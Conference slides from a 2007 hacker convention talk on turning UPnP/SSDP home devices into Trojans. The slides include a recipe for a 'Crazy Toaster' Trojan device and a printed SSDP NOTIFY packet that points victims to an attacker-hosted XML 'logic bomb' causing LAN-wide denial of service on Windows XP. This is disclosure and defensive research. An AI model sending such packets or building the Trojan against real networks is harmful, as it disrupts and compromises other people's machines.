“ A Crazy Toaster :    Can Home Devices turn against us?” Dror Shalev SmartDefense Research Center [email_address] ClubHack, 9/12/2007, Puna , India India's own International Hackers Convention
 
Agenda Introduction Trust, technology and new privacy issues Overview of home networking and early threats   Steps to create a Crazy Toaster Trojan Demonstration Side effect : Windows XP SSDP distributed Dos Side effect Demonstration  TODO, Extended ideas iPhone , iToaster & others (ClubHack edition)  Respect  Q&A
Introduction
Introduction Mission:  World domination via single UDP packet    Do we care if our home Toaster sees us Naked?  Can Home Devices turn against us, spy on our Network? Privacy and trust issues raised by technology,  New hardware & Cool devices
Trust, technology & privacy issues Common privacy issues: Technology is about to replace the trust model we use today  People get confused between people that know things and machines that know things Do we care if Google machines know that we would like to pay  for porn? Does this information can be given to a human? Trust models: Usually we don’t trust a human in 100% to be able to deal with  his knowledge about us Should we trust corporations like Google? Should we trust hardware and software vendors?
Overview of home networking Home networking in Windows XP and in Windows Vista Peer-to-peer networking of PCs, networked appliances and wireless devices UPnP architecture  UPnP ,Overview of a distributed, open architecture based on TCP/IP, UDP and HTTP IPv6 – Reintroduce old exploits ( land attack  MS06-064)  Security exploits and early threats
In Vista’s Network Explorer (the replacement to XP’s Network Neighborhood), devices are discovered using function discovery  Function discovery can find devices using much more efficient, diverse and robust protocols than were available in XP’s Network Neighborhood These protocols include NetBios, UPnP/SSDP, and Web Services Discovery (WSD) Overview of home networking
Home networking in Windows Vista Windows Peer-to-Peer Networking People Near Me (PNM) Network discovery Media sharing Overview of home networking
Overview of home networking
Overview of home networking Wireless Connectivity Wireless Access Point Low-end Appliance VoIP Webpage with virus Cell phone Crazy Toaster Media Center Hacker
Universal Plug and Play (UPnP) The UPnP architecture is a distributed, open networking architecture that leverages TCP/IP and the Web to enable seamless proximity networking in addition to control and data transfer among networked devices in the home, office, and everywhere in between What are the benefits of UPnP technology?  Media and device independence.  UPnP technology can run on any network technology including Wi-Fi, coax, phone line, power line, Ethernet and 1394.  Platform independence.  Vendors can use any operating system and any programming language to build UPnP products.  Internet-based technologies.   UPnP technology is built upon IP, TCP, UDP, HTTP, and XML, among  others.  UI Control.  UPnP architecture enables vendor control over device user interface and interaction using the browser.  Programmatic control.  UPnP architecture enables conventional application programmatic control.  Common base protocols.  Vendors agree on base protocol sets on a per-device basis.  Extendable.  Each UPnP product can have value-added services layered on top of the basic device architecture by the individual manufacturers.
UPnP, IGDs, SSDP on XP UPnP is a collection of standards and protocols that permits Windows to provide discovery and interoperability between a wide variety of Universal Plug and Play network devices When connected to a network, UPnP devices immediately provide their services and use other services on the network Such devices may include anything from standard computing equipment to kitchen appliances and home entertainment systems  By default, the UPnP client is not installed The Internet Gateway Device Discovery and Control Client permits Windows to detect and interact with Internet gateway devices (IGDs) IGDs include routers and computers running Internet Connection Sharing. Such devices can support detection by either UPnP or the Internet Gateway Device Discovery and Control Client IDG devices use the Simple Service Discovery Protocol (SSDP) to broadcast their availability on the network This permits clients to automatically locate the IDG device and use the device as their default gateway for external network access By default, the Internet Gateway Device Discovery and Control Client is installed
Simple Service Discovery Protocol (SSDP) Retrieving Device and Service Descriptions On a default XP installation, no support is added for device control, as it would be the case in an installation of UPNP from "Network Services“ Although Microsoft added default support for an "InternetGatewayDevice",  that was added to aid leading network hardware manufactures in making UPnP enabled "gateway devices" Desktop Wireless Access Point
Early threats   Vulnerability Date Severity Credit  Apple Mac OS X mDNSResponder Remote Buffer Overflow  2007-05-24 High Michael Lynn, Juniper Microsoft Windows UPnP Remote Stack Buffer Overflow [MS07-019]   2007-04-10 Critical Greg MacManus, iDefense  Linksys WRT54GX V2.0 WAN Port UPnP 2006-10-11 Mid Armijn Hemel  Multiple D-Link Routers UPNP Buffer Overflow 2006-07-24 High Barnaby Jack , eEye Microsoft Windows Plug and Play Vulnerability / Zotob worm [MS05-039] 2005-08-05 Critical Neel Mehta ,ISS X-Force Belkin 54G Wireless Router Multiple Vulnerabilities 2005-03-17 Mid pureone  Multiple Linksys Routers Gozila.CGI Denial Of Service 2004-06-02 Mid Alan McCaig , b0f Xavi DSL Router UPNP Long Request Denial Of Service 2003-07-22 Mid David F. Madrid Netgear FM114P ProSafe Wireless Router Rule Bypass 2003-04-02  High Björn Stickler Netgear FM114P ProSafe Wireless Router UPnP Information Disclosure 2003-04-02 Mid Björn Stickler Netgear FM114P Wireless Firewall File Disclosure 2003-02-09 Mid Björn Stickler Multiple Linksys Devices strcat() Buffer Overflow 2002-12-02 High Gerardo Richarte , CORE Linksys Router Unauthorized Management Access 2002-11-17 Mid Seth Bromberger  Microsoft UPnP NOTIFY Buffer Overflow   [MS01-059] 2001-12-19 Critical Riley Hassell, eEye Microsoft Universal Plug and Play Simple Service Discovery Protocol Dos   2001-12-19 Mid Riley Hassell, eEye Microsoft UPnP Denial of Service 2001-10-31 Low 'Ken' from FTU  Windows ME Simple Service Discovery Protocol Denial of Service 2001-10-17 Mid milo omega
Steps to create a Crazy Toaster Trojan While researching SSDP & UPnP we realized that protocols allow not only routers, media players, servers and other devices to connect seamlessly but also to attackers A scenario of “Crazy Toaster ” , Trojan device , or software with TCP/IP capabilities like Routers , Media Players , Access Points , that  join Local area network and become security hazard is possible
Steps to create a Crazy Toaster Trojan Recipe : Building your own Trojan  Needed Ingredients  Toaster  Hardware :Any or none Software : Select an UPnP Stack vendor sample ( Intel  ,Siemens)  Network Access to the victim’s network  (worm victim, multicast , social engineering ,physical access ) Problems  Heat Linux 2 Nokia IPSO porting Shipping
Steps to create a Crazy Toaster Trojan Our Crazy Toaster  will advertise its presence on victim local network  Trojan Discovery process uses  : HTTPU  (HTTP over UDP) HTTPMU for UDP multicast ,to   239.255.255.250:1900    Sends HTTP packets to multiple (multicast) systems over UDP Social engineering : declare as anything from standard computing equipment to kitchen appliances and home entertainment systems Presentation web server JavaScript , Ajax & browser bugs  Use known techniques & exploits from the wild ( MPack ) Retrieve attack payload from remote host
Steps to create a Crazy Toaster Trojan
Demonstration Physical run of “Crazy Toaster” Trojan attack Physical run of advanced attack vectors: Discovery  Presentation  Social engineering Browser exploits  Nokia IPSO 6 hardware Posix / Win sdk Crazy Toaster Demo
Windows XP SSDP distributed Dos Side effect : Windows XP Simple Service Discovery Protocol Distributed Denial of Service Vulnerability  Single multicast UDP packet cause XP victims to Parse well formatted xml document    recursive logic Bomb Memory Consumption – 100% CPU on entire lan segment  Virtual memory page file going crazy Can be done via software ( spyware , worm )  Distributed damage and possible attack vectors  A remote attacker that  resides on the lan segment  connected to the affected appliance/ Trojan  may exploit this vulnerability to deny service for all legitimate lan users  *  MS will fix this in service pack 3 for XP
Windows XP SSDP distributed Dos NOTIFY * HTTP/1.1  HOST:  239.255.255.250:1900   CACHE-CONTROL: max-age=9  LOCATION: http://AttackerInLanHost/upnp/trojan/ilya.xml NT:  urn: schemas-upnp-org:device:InternetGatewayDevice:1   NTS: ssdp:alive  SERVER: Drors/2005 UPnP/1.0 SVCHostDLLkiller/1.1  USN: uuid:CrazyToasterByDrorRespect2eEye Xml Kill Crazy Toaster Victim
Side effect Demonstration Kitchen appliance in smart home become Crazy Physical run of Windows XP Simple Service Discovery Protocol Distrusted Denial of Service Vulnerability Logic Bomb discovery in wired or wireless local network   Demo Kill xml
Cheap hardware appliances open a door for “bad guys”  Wireless Hardware & IPV6  opens new ball game Trust no one (hardware & software vendors , free gifts) Home devices can be target to remote attacks  (Buffer overflows, CSRF, XSS ) The SSDP Discovery Service and Universal Plug and Play Host service should both be set to disabled In Vista, disable ‘Network discovery’ Can Home Devices turn against us?  Oh yeah,  Home Devices are as bad as their software authors  Conclusions
TODO, Extended ideas Arp poisoning , kernel bugs Wireless hacking, WEP cracking,  Linux embedded systems , MIPS Cell phone hacking , GPS , IPhone  Media centers  , Game consoles DivX worm , Copy Rights Bomb Record sound , IP hidden Cam  IPV6
iPhone , iToaster & Others  Apple’s iPhone is a fine hardware (Wi-Fi, GSM, linux) ARM-based processor ,with iPhone's version of OS X Linux 2 OS X freeBSD porting, jailbreak firmware 1.0.2 Bonjour ,mDNSResponder  , UDP port 5353 Multicast DNS s iDemo
Respect ClubHack : India's own International Hackers' Convention UPnP™ Forum    HackTheToaster.com   eEye Project Cowbird  , $30, 30 Minutes, 30 Networks Exploiting embedded systems  ,Barnaby Jack  UPnP Stack Vendors ,  Intel UPnP  , CyberLink , Siemens AG OSGI alliance  Dog's Toaster   Defcon 9 UPnP Hacks
Q&A Q:  Why hack a toaster?  A:  Why not?  *  Slides ,Toaster and iToaster sources code :  http://www.drorshalev.com/dev/upnp/

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Dror-Crazy_toaster

  • 1. “ A Crazy Toaster : Can Home Devices turn against us?” Dror Shalev SmartDefense Research Center [email_address] ClubHack, 9/12/2007, Puna , India India's own International Hackers Convention
  • 2.  
  • 3. Agenda Introduction Trust, technology and new privacy issues Overview of home networking and early threats   Steps to create a Crazy Toaster Trojan Demonstration Side effect : Windows XP SSDP distributed Dos Side effect Demonstration TODO, Extended ideas iPhone , iToaster & others (ClubHack edition) Respect Q&A
  • 5. Introduction Mission: World domination via single UDP packet  Do we care if our home Toaster sees us Naked? Can Home Devices turn against us, spy on our Network? Privacy and trust issues raised by technology, New hardware & Cool devices
  • 6. Trust, technology & privacy issues Common privacy issues: Technology is about to replace the trust model we use today People get confused between people that know things and machines that know things Do we care if Google machines know that we would like to pay for porn? Does this information can be given to a human? Trust models: Usually we don’t trust a human in 100% to be able to deal with his knowledge about us Should we trust corporations like Google? Should we trust hardware and software vendors?
  • 7. Overview of home networking Home networking in Windows XP and in Windows Vista Peer-to-peer networking of PCs, networked appliances and wireless devices UPnP architecture UPnP ,Overview of a distributed, open architecture based on TCP/IP, UDP and HTTP IPv6 – Reintroduce old exploits ( land attack MS06-064) Security exploits and early threats
  • 8. In Vista’s Network Explorer (the replacement to XP’s Network Neighborhood), devices are discovered using function discovery Function discovery can find devices using much more efficient, diverse and robust protocols than were available in XP’s Network Neighborhood These protocols include NetBios, UPnP/SSDP, and Web Services Discovery (WSD) Overview of home networking
  • 9. Home networking in Windows Vista Windows Peer-to-Peer Networking People Near Me (PNM) Network discovery Media sharing Overview of home networking
  • 10. Overview of home networking
  • 11. Overview of home networking Wireless Connectivity Wireless Access Point Low-end Appliance VoIP Webpage with virus Cell phone Crazy Toaster Media Center Hacker
  • 12. Universal Plug and Play (UPnP) The UPnP architecture is a distributed, open networking architecture that leverages TCP/IP and the Web to enable seamless proximity networking in addition to control and data transfer among networked devices in the home, office, and everywhere in between What are the benefits of UPnP technology? Media and device independence. UPnP technology can run on any network technology including Wi-Fi, coax, phone line, power line, Ethernet and 1394. Platform independence. Vendors can use any operating system and any programming language to build UPnP products. Internet-based technologies. UPnP technology is built upon IP, TCP, UDP, HTTP, and XML, among others. UI Control. UPnP architecture enables vendor control over device user interface and interaction using the browser. Programmatic control. UPnP architecture enables conventional application programmatic control. Common base protocols. Vendors agree on base protocol sets on a per-device basis. Extendable. Each UPnP product can have value-added services layered on top of the basic device architecture by the individual manufacturers.
  • 13. UPnP, IGDs, SSDP on XP UPnP is a collection of standards and protocols that permits Windows to provide discovery and interoperability between a wide variety of Universal Plug and Play network devices When connected to a network, UPnP devices immediately provide their services and use other services on the network Such devices may include anything from standard computing equipment to kitchen appliances and home entertainment systems By default, the UPnP client is not installed The Internet Gateway Device Discovery and Control Client permits Windows to detect and interact with Internet gateway devices (IGDs) IGDs include routers and computers running Internet Connection Sharing. Such devices can support detection by either UPnP or the Internet Gateway Device Discovery and Control Client IDG devices use the Simple Service Discovery Protocol (SSDP) to broadcast their availability on the network This permits clients to automatically locate the IDG device and use the device as their default gateway for external network access By default, the Internet Gateway Device Discovery and Control Client is installed
  • 14. Simple Service Discovery Protocol (SSDP) Retrieving Device and Service Descriptions On a default XP installation, no support is added for device control, as it would be the case in an installation of UPNP from "Network Services“ Although Microsoft added default support for an "InternetGatewayDevice", that was added to aid leading network hardware manufactures in making UPnP enabled "gateway devices" Desktop Wireless Access Point
  • 15. Early threats   Vulnerability Date Severity Credit Apple Mac OS X mDNSResponder Remote Buffer Overflow 2007-05-24 High Michael Lynn, Juniper Microsoft Windows UPnP Remote Stack Buffer Overflow [MS07-019] 2007-04-10 Critical Greg MacManus, iDefense Linksys WRT54GX V2.0 WAN Port UPnP 2006-10-11 Mid Armijn Hemel Multiple D-Link Routers UPNP Buffer Overflow 2006-07-24 High Barnaby Jack , eEye Microsoft Windows Plug and Play Vulnerability / Zotob worm [MS05-039] 2005-08-05 Critical Neel Mehta ,ISS X-Force Belkin 54G Wireless Router Multiple Vulnerabilities 2005-03-17 Mid pureone Multiple Linksys Routers Gozila.CGI Denial Of Service 2004-06-02 Mid Alan McCaig , b0f Xavi DSL Router UPNP Long Request Denial Of Service 2003-07-22 Mid David F. Madrid Netgear FM114P ProSafe Wireless Router Rule Bypass 2003-04-02 High Björn Stickler Netgear FM114P ProSafe Wireless Router UPnP Information Disclosure 2003-04-02 Mid Björn Stickler Netgear FM114P Wireless Firewall File Disclosure 2003-02-09 Mid Björn Stickler Multiple Linksys Devices strcat() Buffer Overflow 2002-12-02 High Gerardo Richarte , CORE Linksys Router Unauthorized Management Access 2002-11-17 Mid Seth Bromberger Microsoft UPnP NOTIFY Buffer Overflow [MS01-059] 2001-12-19 Critical Riley Hassell, eEye Microsoft Universal Plug and Play Simple Service Discovery Protocol Dos 2001-12-19 Mid Riley Hassell, eEye Microsoft UPnP Denial of Service 2001-10-31 Low 'Ken' from FTU Windows ME Simple Service Discovery Protocol Denial of Service 2001-10-17 Mid milo omega
  • 16. Steps to create a Crazy Toaster Trojan While researching SSDP & UPnP we realized that protocols allow not only routers, media players, servers and other devices to connect seamlessly but also to attackers A scenario of “Crazy Toaster ” , Trojan device , or software with TCP/IP capabilities like Routers , Media Players , Access Points , that join Local area network and become security hazard is possible
  • 17. Steps to create a Crazy Toaster Trojan Recipe : Building your own Trojan Needed Ingredients Toaster Hardware :Any or none Software : Select an UPnP Stack vendor sample ( Intel ,Siemens) Network Access to the victim’s network (worm victim, multicast , social engineering ,physical access ) Problems Heat Linux 2 Nokia IPSO porting Shipping
  • 18. Steps to create a Crazy Toaster Trojan Our Crazy Toaster will advertise its presence on victim local network Trojan Discovery process uses : HTTPU (HTTP over UDP) HTTPMU for UDP multicast ,to 239.255.255.250:1900   Sends HTTP packets to multiple (multicast) systems over UDP Social engineering : declare as anything from standard computing equipment to kitchen appliances and home entertainment systems Presentation web server JavaScript , Ajax & browser bugs Use known techniques & exploits from the wild ( MPack ) Retrieve attack payload from remote host
  • 19. Steps to create a Crazy Toaster Trojan
  • 20. Demonstration Physical run of “Crazy Toaster” Trojan attack Physical run of advanced attack vectors: Discovery Presentation Social engineering Browser exploits Nokia IPSO 6 hardware Posix / Win sdk Crazy Toaster Demo
  • 21. Windows XP SSDP distributed Dos Side effect : Windows XP Simple Service Discovery Protocol Distributed Denial of Service Vulnerability  Single multicast UDP packet cause XP victims to Parse well formatted xml document  recursive logic Bomb Memory Consumption – 100% CPU on entire lan segment Virtual memory page file going crazy Can be done via software ( spyware , worm ) Distributed damage and possible attack vectors A remote attacker that resides on the lan segment connected to the affected appliance/ Trojan may exploit this vulnerability to deny service for all legitimate lan users * MS will fix this in service pack 3 for XP
  • 22. Windows XP SSDP distributed Dos NOTIFY * HTTP/1.1  HOST: 239.255.255.250:1900   CACHE-CONTROL: max-age=9  LOCATION: http://AttackerInLanHost/upnp/trojan/ilya.xml NT: urn: schemas-upnp-org:device:InternetGatewayDevice:1   NTS: ssdp:alive  SERVER: Drors/2005 UPnP/1.0 SVCHostDLLkiller/1.1  USN: uuid:CrazyToasterByDrorRespect2eEye Xml Kill Crazy Toaster Victim
  • 23. Side effect Demonstration Kitchen appliance in smart home become Crazy Physical run of Windows XP Simple Service Discovery Protocol Distrusted Denial of Service Vulnerability Logic Bomb discovery in wired or wireless local network   Demo Kill xml
  • 24. Cheap hardware appliances open a door for “bad guys” Wireless Hardware & IPV6 opens new ball game Trust no one (hardware & software vendors , free gifts) Home devices can be target to remote attacks (Buffer overflows, CSRF, XSS ) The SSDP Discovery Service and Universal Plug and Play Host service should both be set to disabled In Vista, disable ‘Network discovery’ Can Home Devices turn against us? Oh yeah, Home Devices are as bad as their software authors Conclusions
  • 25. TODO, Extended ideas Arp poisoning , kernel bugs Wireless hacking, WEP cracking, Linux embedded systems , MIPS Cell phone hacking , GPS , IPhone Media centers , Game consoles DivX worm , Copy Rights Bomb Record sound , IP hidden Cam IPV6
  • 26. iPhone , iToaster & Others Apple’s iPhone is a fine hardware (Wi-Fi, GSM, linux) ARM-based processor ,with iPhone's version of OS X Linux 2 OS X freeBSD porting, jailbreak firmware 1.0.2 Bonjour ,mDNSResponder , UDP port 5353 Multicast DNS s iDemo
  • 27. Respect ClubHack : India's own International Hackers' Convention UPnP™ Forum HackTheToaster.com eEye Project Cowbird , $30, 30 Minutes, 30 Networks Exploiting embedded systems ,Barnaby Jack UPnP Stack Vendors , Intel UPnP , CyberLink , Siemens AG OSGI alliance Dog's Toaster Defcon 9 UPnP Hacks
  • 28. Q&A Q: Why hack a toaster? A: Why not? * Slides ,Toaster and iToaster sources code : http://www.drorshalev.com/dev/upnp/